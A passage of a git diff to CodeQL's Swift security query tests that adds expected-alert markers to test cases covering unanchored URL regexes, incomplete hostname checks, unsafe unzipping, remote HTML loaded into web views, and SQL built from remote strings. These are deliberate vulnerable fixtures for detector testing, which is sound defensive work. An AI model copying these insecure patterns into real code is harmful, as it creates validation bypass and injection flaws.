Alert[swift/missing-regexp-anchor] + _ = try NSRegularExpression(pattern: "(https?://good.com)|(^https?://goodie.com)").matches(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] - _ = try NSRegularExpression(pattern: #"https?:\/\/good.com"#).matches(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?:\/\/good.com"#).matches(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] - if let _ = try NSRegularExpression(pattern: "https?://good.com").firstMatch(in: input, range: inputRange) { } // BAD (missing anchor) + if let _ = try NSRegularExpression(pattern: "https?://good.com").firstMatch(in: input, range: inputRange) { } // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] let input2 = "something" let input2Range = NSMakeRange(0, input2.utf16.count) _ = try NSRegularExpression(pattern: "other").firstMatch(in: input2, range: input2Range) // OK _ = try NSRegularExpression(pattern: "x.commissary").firstMatch(in: input2, range: input2Range) // OK - _ = try NSRegularExpression(pattern: #"https?://good.com"#).firstMatch(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: #"https?://good.com:8080"#).firstMatch(in: input, range: inputRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?://good.com"#).firstMatch(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try NSRegularExpression(pattern: #"https?://good.com:8080"#).firstMatch(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] let trustedUrlRegexs = [ - "https?://good.com", // BAD (missing anchor), referenced below - #"https?:\/\/good.com"#, // BAD (missing anchor), referenced below - "^https?://good.com" // BAD (missing post-anchor), referenced below + "https?://good.com", // BAD (missing anchor), referenced below // $ Alert[swift/missing-regexp-anchor] + #"https?:\/\/good.com"#, // BAD (missing anchor), referenced below // $ Alert[swift/missing-regexp-anchor] + "^https?://good.com" // BAD (missing post-anchor), referenced below // $ Alert[swift/missing-regexp-anchor] ] for trustedUrlRegex in trustedUrlRegexs { if let _ = try NSRegularExpression(pattern: trustedUrlRegex).firstMatch(in: input, range: inputRange) { } } let trustedUrlRegexs2 = [ - "https?://good.com", // BAD (missing anchor), referenced below + "https?://good.com", // BAD (missing anchor), referenced below // $ Alert[swift/missing-regexp-anchor] ] if let _ = try NSRegularExpression(pattern: trustedUrlRegexs2[0]).firstMatch(in: input, range: inputRange) { } @@ -98,13 +98,13 @@ func tests(url: String, secure: Bool) throws { for _ in notUsedUrlRegexs { } - _ = try NSRegularExpression(pattern: #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try NSRegularExpression(pattern: "https://verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: "http" + (secure ? "s" : "") + "://" + "verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: "verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: #"\.com|\.org"#).matches(in: input, range: inputRange) // OK, has no domain name - _ = try NSRegularExpression(pattern: #"example\.com|whatever"#).matches(in: input, range: inputRange) // OK, the other disjunction doesn't match a hostname [FALSE POSITIVE] + _ = try NSRegularExpression(pattern: #"example\.com|whatever"#).matches(in: input, range: inputRange) // OK, the other disjunction doesn't match a hostname [FALSE POSITIVE] // $ Alert[swift/missing-regexp-anchor] // tests for the `isLineAnchoredHostnameRegExp` case diff --git a/swift/ql/test/query-tests/Security/CWE-020/test.swift b/swift/ql/test/query-tests/Security/CWE-020/test.swift index e19af9050fd3..c5592ad335e0 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/test.swift @@ -53,49 +53,49 @@ func testHostnames(myUrl: URL) throws { _ = try Regex(#"^http://example\.com/"#).firstMatch(in: tainted) // GOOD _ = try Regex(#"^http://example.com/"#).firstMatch(in: tainted) // GOOD (only '.' here gives a valid top-level domain) - _ = try Regex(#"^http://example.com"#).firstMatch(in: tainted) // BAD (missing anchor) + _ = try Regex(#"^http://example.com"#).firstMatch(in: tainted) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex(#"^http://test\.example\.com/"#).firstMatch(in: tainted) // GOOD _ = try Regex(#"^http://test\.example.com/"#).firstMatch(in: tainted) // GOOD (only '.' here gives a valid top-level domain) - _ = try Regex(#"^http://test\.example.com"#).firstMatch(in: tainted) // BAD (missing anchor) - _ = try Regex(#"^http://test.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try Regex(#"^http://test\.example.com"#).firstMatch(in: tainted) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^http://test.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] _ = try Regex(#"^http://test[.]example[.]com/"#).firstMatch(in: tainted) // GOOD (alternative method of escaping) - _ = try Regex(#"^http://test.example.net/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^http://test.(example-a|example-b).com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^http://(.+).example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname x 2) + _ = try Regex(#"^http://test.example.net/"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^http://test.(example-a|example-b).com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^http://(.+).example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname x 2) // $ Alert[swift/incomplete-hostname-regexp] _ = try Regex(#"^http://(\.+)\.example.com/"#).firstMatch(in: tainted) // GOOD - _ = try Regex(#"^http://(?:.+)\.test\.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^http://test.example.com/(?:.*)"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(.+\.(?:example-a|example-b)\.com)/"#).firstMatch(in: tainted) // BAD (missing anchor) - _ = try Regex(#"^(https?:)?//((service|www).)?example.com(?=$|/)"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(http|https)://www.example.com/p/f/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(http://sub.example.com/)"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^https?://api.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try Regex(#"^http://(?:.+)\.test\.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^http://test.example.com/(?:.*)"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^(.+\.(?:example-a|example-b)\.com)/"#).firstMatch(in: tainted) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^(https?:)?//((service|www).)?example.com(?=$|/)"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^(http|https)://www.example.com/p/f/"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^(http://sub.example.com/)"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^https?://api.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] _ = try Regex(#"^http[s]?://?sub1\.sub2\.example\.com/f/(.+)"#).firstMatch(in: tainted) // GOOD (it has a capture group after the TLD, so should be ignored) - _ = try Regex(#"^https://[a-z]*.example.com$"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(example.dev|example.com)"#).firstMatch(in: tainted) // GOOD (any extended hostname wouldn't be included in the capture group) [FALSE POSITIVE] - _ = try Regex(#"^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)"#).firstMatch(in: tainted) // BAD (incomplete hostname x3, missing anchor x 1) + _ = try Regex(#"^https://[a-z]*.example.com$"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"^(example.dev|example.com)"#).firstMatch(in: tainted) // GOOD (any extended hostname wouldn't be included in the capture group) [FALSE POSITIVE] // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)"#).firstMatch(in: tainted) // BAD (incomplete hostname x3, missing anchor x 1) // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/missing-regexp-anchor] _ = try Regex(#"^http://(..|...)\.example\.com/index\.html"#).firstMatch(in: tainted) // GOOD (wildcards are intentional) _ = try Regex(#"^http://.\.example\.com/index\.html"#).firstMatch(in: tainted) // GOOD (the wildcard is intentional) - _ = try Regex(#"^(foo.example\.com|whatever)$"#).firstMatch(in: tainted) // DUBIOUS (one disjunction doesn't even look like a hostname) [DETECTED incomplete hostname, missing anchor] + _ = try Regex(#"^(foo.example\.com|whatever)$"#).firstMatch(in: tainted) // DUBIOUS (one disjunction doesn't even look like a hostname) [DETECTED incomplete hostname, missing anchor] // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/missing-regexp-anchor] - _ = try Regex(#"^test.example.com$"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"test.example.com"#).wholeMatch(in: tainted) // BAD (incomplete hostname, missing anchor) + _ = try Regex(#"^test.example.com$"#).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] + _ = try Regex(#"test.example.com"#).wholeMatch(in: tainted) // BAD (incomplete hostname, missing anchor) // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/missing-regexp-anchor] - _ = try Regex(id(id(id(#"test.example.com$"#)))).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try Regex(id(id(id(#"test.example.com$"#)))).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] let hostname = #"test.example.com$"# // BAD (incomplete hostname) [NOT DETECTED] _ = try Regex("\(hostname)").firstMatch(in: tainted) var domain = MyDomain("") - domain.hostname = #"test.example.com$"# // BAD (incomplete hostname) + domain.hostname = #"test.example.com$"# // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] _ = try Regex(domain.hostname).firstMatch(in: tainted) func convert1(_ domain: MyDomain) throws -> Regex { return try Regex(domain.hostname) } - _ = try convert1(MyDomain(#"test.example.com$"#)).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try convert1(MyDomain(#"test.example.com$"#)).firstMatch(in: tainted) // BAD (incomplete hostname) // $ Alert[swift/incomplete-hostname-regexp] let domains = [ MyDomain(#"test.example.com$"#) ] // BAD (incomplete hostname) [NOT DETECTED] func convert2(_ domain: MyDomain) throws -> Regex { diff --git a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref index 1d1a5a3a84ce..f637622e3a15 100644 --- a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref +++ b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-022/UnsafeUnpack.ql \ No newline at end of file +query: experimental/Security/CWE-022/UnsafeUnpack.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift index 5d7dc6c58b44..e2071513e3c9 100644 --- a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift +++ b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift @@ -59,12 +59,12 @@ func testCommandInjectionQhelpExamples() { let source = URL(fileURLWithPath: "/sourcePath") let destination = URL(fileURLWithPath: "/destination") - try Data(contentsOf: remoteURL, options: []).write(to: source) + try Data(contentsOf: remoteURL, options: []).write(to: source) // $ Source do { - try Zip.unzipFile(source, destination: destination, overwrite: true, password: nil) // BAD + try Zip.unzipFile(source, destination: destination, overwrite: true, password: nil) // BAD // $ Alert let fileManager = FileManager() - try fileManager.unzipItem(at: source, to: destination) // BAD + try fileManager.unzipItem(at: source, to: destination) // BAD // $ Alert } catch { print("Error: \(error)") } diff --git a/swift/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref b/swift/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref index 87be59af70b3..802e59a6f873 100644 --- a/swift/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref +++ b/swift/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref @@ -1 +1 @@ -queries/Security/CWE-078/CommandInjection.ql \ No newline at end of file +query: queries/Security/CWE-078/CommandInjection.ql diff --git a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref index a5c8cb457a03..18d2fc0a49df 100644 --- a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref +++ b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref @@ -1 +1,2 @@ -queries/Security/CWE-079/UnsafeWebViewFetch.ql \ No newline at end of file +query: queries/Security/CWE-079/UnsafeWebViewFetch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift index 1b687ade014b..ebac2b89a0b7 100644 --- a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift +++ b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift @@ -91,7 +91,7 @@ func getRemoteData() -> String { let url = URL(string: "http://example.com/") do { - return try String(contentsOf: url!) + return try String(contentsOf: url!) // $ Source } catch { return "" } @@ -100,13 +100,13 @@ func getRemoteData() -> String { func testSimpleFlows() { let webview = UIWebView() - webview.loadHTMLString(try! String(contentsOf: URL(string: "http://example.com/")!), baseURL: nil) // BAD + webview.loadHTMLString(try! String(contentsOf: URL(string: "http://example.com/")!), baseURL: nil) // BAD // $ Alert - let data = try! String(contentsOf: URL(string: "http://example.com/")!) - webview.loadHTMLString(data, baseURL: nil) // BAD + let data = try! String(contentsOf: URL(string: "http://example.com/")!) // $ Source + webview.loadHTMLString(data, baseURL: nil) // BAD // $ Alert let url = URL(string: "http://example.com/") - webview.loadHTMLString(try! String(contentsOf: url!), baseURL: nil) // BAD + webview.loadHTMLString(try! String(contentsOf: url!), baseURL: nil) // BAD // $ Alert } func testUIWebView() { @@ -117,14 +117,14 @@ func testUIWebView() { let remoteString = getRemoteData() webview.loadHTMLString(localString, baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString(getRemoteData(), baseURL: nil) // BAD: HTML contains remote input, may access local secrets - webview.loadHTMLString(remoteString, baseURL: nil) // BAD + webview.loadHTMLString(getRemoteData(), baseURL: nil) // BAD: HTML contains remote input, may access local secrets // $ Alert + webview.loadHTMLString(remoteString, baseURL: nil) // BAD // $ Alert webview.loadHTMLString("" + localStringFragment + "", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("" + remoteString + "", baseURL: nil) // BAD + webview.loadHTMLString("" + remoteString + "", baseURL: nil) // BAD // $ Alert webview.loadHTMLString("\(localStringFragment)", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("\(remoteString)", baseURL: nil) // BAD + webview.loadHTMLString("\(remoteString)", baseURL: nil) // BAD // $ Alert let localSafeURL = URL(string: "about:blank") let localURL = URL(string: "http://example.com/") @@ -136,9 +136,9 @@ func testUIWebView() { webview.loadHTMLString(localString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(remoteString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(localString, baseURL: remoteURL!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL!) // BAD // $ Alert webview.loadHTMLString(localString, baseURL: remoteURL2!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // BAD // $ Alert let localRequest = URLRequest(url: localURL!) let remoteRequest = URLRequest(url: remoteURL!) @@ -151,7 +151,7 @@ func testUIWebView() { webview.load(localData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: the data is local webview.load(remoteData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: a safe baseURL is specified webview.load(localData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: remoteURL!) // GOOD: the HTML data is local - webview.load(remoteData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: remoteURL!) // BAD + webview.load(remoteData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: remoteURL!) // BAD // $ Alert } func testWKWebView() { @@ -164,14 +164,14 @@ func testWKWebView() { let remoteString = getRemoteData() webview.loadHTMLString(localString, baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString(getRemoteData(), baseURL: nil) // BAD - webview.loadHTMLString(remoteString, baseURL: nil) // BAD + webview.loadHTMLString(getRemoteData(), baseURL: nil) // BAD // $ Alert + webview.loadHTMLString(remoteString, baseURL: nil) // BAD // $ Alert webview.loadHTMLString("" + localStringFragment + "", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("" + remoteString + "", baseURL: nil) // BAD + webview.loadHTMLString("" + remoteString + "", baseURL: nil) // BAD // $ Alert webview.loadHTMLString("\(localStringFragment)", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("\(remoteString)", baseURL: nil) // BAD + webview.loadHTMLString("\(remoteString)", baseURL: nil) // BAD // $ Alert let localSafeURL = URL(string: "about:blank") let localURL = URL(string: "http://example.com/") @@ -183,9 +183,9 @@ func testWKWebView() { webview.loadHTMLString(localString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(remoteString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(localString, baseURL: remoteURL!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL!) // BAD // $ Alert webview.loadHTMLString(localString, baseURL: remoteURL2!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // BAD // $ Alert let localRequest = URLRequest(url: localURL!) let remoteRequest = URLRequest(url: remoteURL!) @@ -198,7 +198,7 @@ func testWKWebView() { webview.load(localData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: the data is local webview.load(remoteData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: a safe baseURL is specified webview.load(localData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: remoteURL!) // GOOD: the HTML data is local - webview.load(remoteData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: remoteURL!) // BAD + webview.load(remoteData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: remoteURL!) // BAD // $ Alert } func testQHelpExamples() { @@ -207,7 +207,7 @@ func testQHelpExamples() { // ... - webview.loadHTMLString(htmlData, baseURL: nil) // BAD + webview.loadHTMLString(htmlData, baseURL: nil) // BAD // $ Alert webview.loadHTMLString(htmlData, baseURL: URL(string: "about:blank")) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift b/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift index b0319c84eb5a..cad757a7f168 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift @@ -101,54 +101,54 @@ class CommonTableExpression { func test(database: Database) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = database.allStatements(sql: remoteString) // BAD + let _ = database.allStatements(sql: remoteString) // BAD // $ Alert let _ = database.allStatements(sql: localString) // GOOD - let _ = database.allStatements(sql: remoteString, arguments: nil) // BAD + let _ = database.allStatements(sql: remoteString, arguments: nil) // BAD // $ Alert let _ = database.allStatements(sql: localString, arguments: nil) // GOOD - let _ = database.cachedStatement(sql: remoteString) // BAD + let _ = database.cachedStatement(sql: remoteString) // BAD // $ Alert let _ = database.cachedStatement(sql: localString) // GOOD - let _ = database.internalCachedStatement(sql: remoteString) // BAD + let _ = database.internalCachedStatement(sql: remoteString) // BAD // $ Alert let _ = database.internalCachedStatement(sql: localString) // GOOD - database.execute(sql: remoteString) // BAD + database.execute(sql: remoteString) // BAD // $ Alert database.execute(sql: localString) // GOOD - database.execute(sql: remoteString, arguments: StatementArguments()) // BAD + database.execute(sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert database.execute(sql: localString, arguments: StatementArguments()) // GOOD - let _ = database.makeStatement(sql: remoteString) // BAD + let _ = database.makeStatement(sql: remoteString) // BAD // $ Alert let _ = database.makeStatement(sql: localString) // GOOD - let _ = database.makeStatement(sql: remoteString, prepFlags: 0) // BAD + let _ = database.makeStatement(sql: remoteString, prepFlags: 0) // BAD // $ Alert let _ = database.makeStatement(sql: localString, prepFlags: 0) // GOOD } func testSqlRequest() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = SQLRequest(stringLiteral: remoteString) // BAD + let _ = SQLRequest(stringLiteral: remoteString) // BAD // $ Alert let _ = SQLRequest(stringLiteral: localString) // GOOD - let _ = SQLRequest(unicodeScalarLiteral: remoteString) // BAD + let _ = SQLRequest(unicodeScalarLiteral: remoteString) // BAD // $ Alert let _ = SQLRequest(unicodeScalarLiteral: localString) // GOOD - let _ = SQLRequest(extendedGraphemeClusterLiteral: remoteString) // BAD + let _ = SQLRequest(extendedGraphemeClusterLiteral: remoteString) // BAD // $ Alert let _ = SQLRequest(extendedGraphemeClusterLiteral: localString) // GOOD - let _ = SQLRequest(stringInterpolation: remoteString) // BAD + let _ = SQLRequest(stringInterpolation: remoteString) // BAD // $ Alert let _ = SQLRequest(stringInterpolation: localString) // GOOD - let _ = SQLRequest(sql: remoteString) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments()) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), cached: false) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil, cached: false) // BAD - let _ = SQLRequest(sql: remoteString, adapter: nil) // BAD - let _ = SQLRequest(sql: remoteString, adapter: nil, cached: false) // BAD - let _ = SQLRequest(sql: remoteString, cached: false) // BAD + let _ = SQLRequest(sql: remoteString) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), cached: false) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil, cached: false) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, adapter: nil) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, adapter: nil, cached: false) // BAD // $ Alert + let _ = SQLRequest(sql: remoteString, cached: false) // BAD // $ Alert let _ = SQLRequest(sql: localString) // GOOD let _ = SQLRequest(sql: localString, arguments: StatementArguments()) // GOOD let _ = SQLRequest(sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD @@ -161,15 +161,15 @@ func testSqlRequest() throws { func testSql() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = SQL(stringLiteral: remoteString) // BAD - let _ = SQL(unicodeScalarLiteral: remoteString) // BAD - let _ = SQL(extendedGraphemeClusterLiteral: remoteString) // BAD - let _ = SQL(stringInterpolation: remoteString) // BAD - let _ = SQL(sql: remoteString) // BAD + let _ = SQL(stringLiteral: remoteString) // BAD // $ Alert + let _ = SQL(unicodeScalarLiteral: remoteString) // BAD // $ Alert + let _ = SQL(extendedGraphemeClusterLiteral: remoteString) // BAD // $ Alert + let _ = SQL(stringInterpolation: remoteString) // BAD // $ Alert + let _ = SQL(sql: remoteString) // BAD // $ Alert let sql1 = SQL(stringLiteral: "") - sql1.append(sql: remoteString) // BAD + sql1.append(sql: remoteString) // BAD // $ Alert let _ = SQL(stringLiteral: localString) // GOOD let _ = SQL(unicodeScalarLiteral: localString) // GOOD @@ -182,34 +182,34 @@ func testSql() throws { func test(tableDefinition: TableDefinition) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - tableDefinition.column(sql: remoteString) // BAD + tableDefinition.column(sql: remoteString) // BAD // $ Alert tableDefinition.column(sql: localString) // GOOD - tableDefinition.check(sql: remoteString) // BAD + tableDefinition.check(sql: remoteString) // BAD // $ Alert tableDefinition.check(sql: localString) // GOOD - tableDefinition.constraint(sql: remoteString) // BAD + tableDefinition.constraint(sql: remoteString) // BAD // $ Alert tableDefinition.constraint(sql: localString) // GOOD } func test(tableAlteration: TableAlteration) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - tableAlteration.addColumn(sql: remoteString) // BAD + tableAlteration.addColumn(sql: remoteString) // BAD // $ Alert tableAlteration.addColumn(sql: localString) // GOOD } func test(columnDefinition: ColumnDefinition) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = columnDefinition.check(sql: remoteString) // BAD - let _ = columnDefinition.defaults(sql: remoteString) // BAD - let _ = columnDefinition.generatedAs(sql: remoteString) // BAD - let _ = columnDefinition.generatedAs(sql: remoteString, .virtual) // BAD + let _ = columnDefinition.check(sql: remoteString) // BAD // $ Alert + let _ = columnDefinition.defaults(sql: remoteString) // BAD // $ Alert + let _ = columnDefinition.generatedAs(sql: remoteString) // BAD // $ Alert + let _ = columnDefinition.generatedAs(sql: remoteString, .virtual) // BAD // $ Alert let _ = columnDefinition.check(sql: localString) // GOOD let _ = columnDefinition.defaults(sql: localString) // GOOD @@ -219,67 +219,67 @@ func test(columnDefinition: ColumnDefinition) throws { func testTableRecord() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = TableRecord.select(sql: remoteString) // BAD - let _ = TableRecord.select(sql: remoteString, arguments: StatementArguments()) // BAD + let _ = TableRecord.select(sql: remoteString) // BAD // $ Alert + let _ = TableRecord.select(sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert let _ = TableRecord.select(sql: localString) // GOOD let _ = TableRecord.select(sql: localString, arguments: StatementArguments()) // GOOD - let _ = TableRecord.filter(sql: remoteString) // BAD - let _ = TableRecord.filter(sql: remoteString, arguments: StatementArguments()) // BAD + let _ = TableRecord.filter(sql: remoteString) // BAD // $ Alert + let _ = TableRecord.filter(sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert let _ = TableRecord.filter(sql: localString) // GOOD let _ = TableRecord.filter(sql: localString, arguments: StatementArguments()) // GOOD - let _ = TableRecord.order(sql: remoteString) // BAD - let _ = TableRecord.order(sql: remoteString, arguments: StatementArguments()) // BAD + let _ = TableRecord.order(sql: remoteString) // BAD // $ Alert + let _ = TableRecord.order(sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert let _ = TableRecord.order(sql: localString) // GOOD let _ = TableRecord.order(sql: localString, arguments: StatementArguments()) // GOOD } func test(statementCache: StatementCache) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = statementCache.statement(remoteString) // BAD + let _ = statementCache.statement(remoteString) // BAD // $ Alert let _ = statementCache.statement(localString) // GOOD } func test(row: Row, stmt: Statement) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: 